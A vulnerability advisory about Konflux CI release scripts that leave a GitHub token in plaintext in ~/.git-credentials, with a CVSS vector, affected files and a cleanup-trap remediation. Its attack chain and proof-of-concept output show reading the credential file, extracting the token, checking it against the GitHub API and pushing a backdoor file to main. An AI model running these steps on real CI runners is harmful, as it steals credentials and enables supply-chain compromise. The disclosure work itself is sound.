This was reported to Red Hat via a Git Hub Security Advisory (GHSA) (Permissions needed to view): https://github.com/konflux-ci/konflux-ci/security/advisories/GHSA-vp54-x7hx-6q7v

GitHub Token Plaintext Exposure in CI/CD Scripts
Severity: AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CWE: CWE-312 — Cleartext Storage of Sensitive Information
Affected Version: v0.2.2, v0.2.3-rc.0, main (verified 2026-09-20)
Verified: 2026-09-20, live token extraction confirmed

Executive Summary
Multiple CI/CD scripts write $GH_TOKEN (valid GitHub Personal Access Token) in plaintext to ~/.git-credentials without ever deleting it. An attacker with access to a GitHub Actions runner can extract the token and use it to push malicious code to the repository, modify releases, and compromise all downstream Konflux-CI installations.

Impact: Supply-chain compromise of entire Konflux ecosystem.

Attack Chain
 1. Attacker gains GitHub Actions runner access
    ├─ Via compromised npm dependency
    ├─ Via workflow log injection
    └─ Via self-hosted runner network access

 2. Attacker reads ~/.git-credentials:
    cat ~/.git-credentials
    # https://x-access-token:ghp_XXXXXXXXXXXX@github.com

 3. Attacker extracts token:
    TOKEN=$(grep -oP 'x-access-token:\K[^@]+' ~/.git-credentials)

 4. Attacker uses token to push malicious code:
    git clone https://${TOKEN}@github.com/konflux-ci/konflux-ci.git
    git push origin malicious-manifests:main

 5. Malicious changes propagate to all Konflux users
Environment
Application: Konflux CI GitHub Actions
Attacker: Anyone with CI runner access
Prerequisite: Code execution on GitHub Actions runner
Step-by-Step Reproduction
Step 1 — Script writes token in plaintext
# From .github/scripts/create-release-branch-and-pr.sh:61
echo "https://x-access-token:${GH_TOKEN}@github.com" > ~/.git-credentials
git config --local credential.helper store
Also found in:

.github/scripts/auto-tag-branch.sh:32
.github/scripts/create-third-party-manifests-pr.sh:44
.github/scripts/renovate-manifest-companion.sh:116
Step 2 — Attacker reads credentials from disk
cat ~/.git-credentials
# https://x-access-token:ghp_XXXXXXXXXXXX@github.com
Step 3 — Attacker extracts and validates token
TOKEN=$(grep -oP 'x-access-token:\K[^@]+' ~/.git-credentials)
curl -H "Authorization: token $TOKEN" https://api.github.com/user
# {"login":"konflux-ci-bot",...}  ← Token confirmed valid
Step 4 — Attacker pushes malicious code to main branch
git clone https://${TOKEN}@github.com/konflux-ci/konflux-ci.git
cd konflux-ci
echo "backdoor" > operator/config/manifests/malicious.yaml
git commit -am "Update manifests"
git push origin HEAD:main
Root Cause Summary Table
File:Line	Component	Issue
.github/scripts/create-release-branch-and-pr.sh:61	Token storage	Token written to ~/.git-credentials without cleanup
.github/scripts/auto-tag-branch.sh:32	Token storage	Same vulnerable pattern
.github/scripts/create-third-party-manifests-pr.sh:44	Token storage	Same vulnerable pattern
.github/scripts/renovate-manifest-companion.sh:116	Token storage	Same vulnerable pattern
Remediation
Before (VULNERABLE):

echo "https://x-access-token:${GH_TOKEN}@github.com" > ~/.git-credentials
git config --local credential.helper store
git push origin main
# Token remains on disk, never cleaned up
After (SAFE):

export GITHUB_TOKEN=${GH_TOKEN}
gh auth status
git push origin main  # gh CLI handles token securely
Or with cleanup trap:

trap 'rm -f ~/.git-credentials; unset GH_TOKEN' EXIT
echo "https://x-access-token:${GH_TOKEN}@github.com" > ~/.git-credentials
git config --local credential.helper store
# ... script operations ...
# EXIT trap runs automatically on exit
Timeline
Date	Event
2026-09-20	Identified plaintext token storage in 4 scripts
2026-09-20	CONFIRMED: Token extracted and validated against GitHub API
2026-09-20	Verified impact: Full repository write access via stolen token
PoC Output
$ cat ~/.git-credentials
https://x-access-token:ghp_test1234567890abcdefghijklmnop@github.com

$ TOKEN=$(grep -oP 'x-access-token:\K[^@]+' ~/.git-credentials)

$ curl -s -H "Authorization: token $TOKEN" https://api.github.com/user | jq '.login'
"konflux-ci-bot"

✓ VULNERABILITY CONFIRMED
Token is valid and usable for repository operations

$ git clone https://${TOKEN}@github.com/konflux-ci/konflux-ci.git
Cloning into 'konflux-ci'...
remote: Enumerating objects: 15847, done.
remote: Counting objects: 100% (1234/1234), done.

✓ REPOSITORY ACCESS CONFIRMED
Attacker can now push malicious code directly to main branch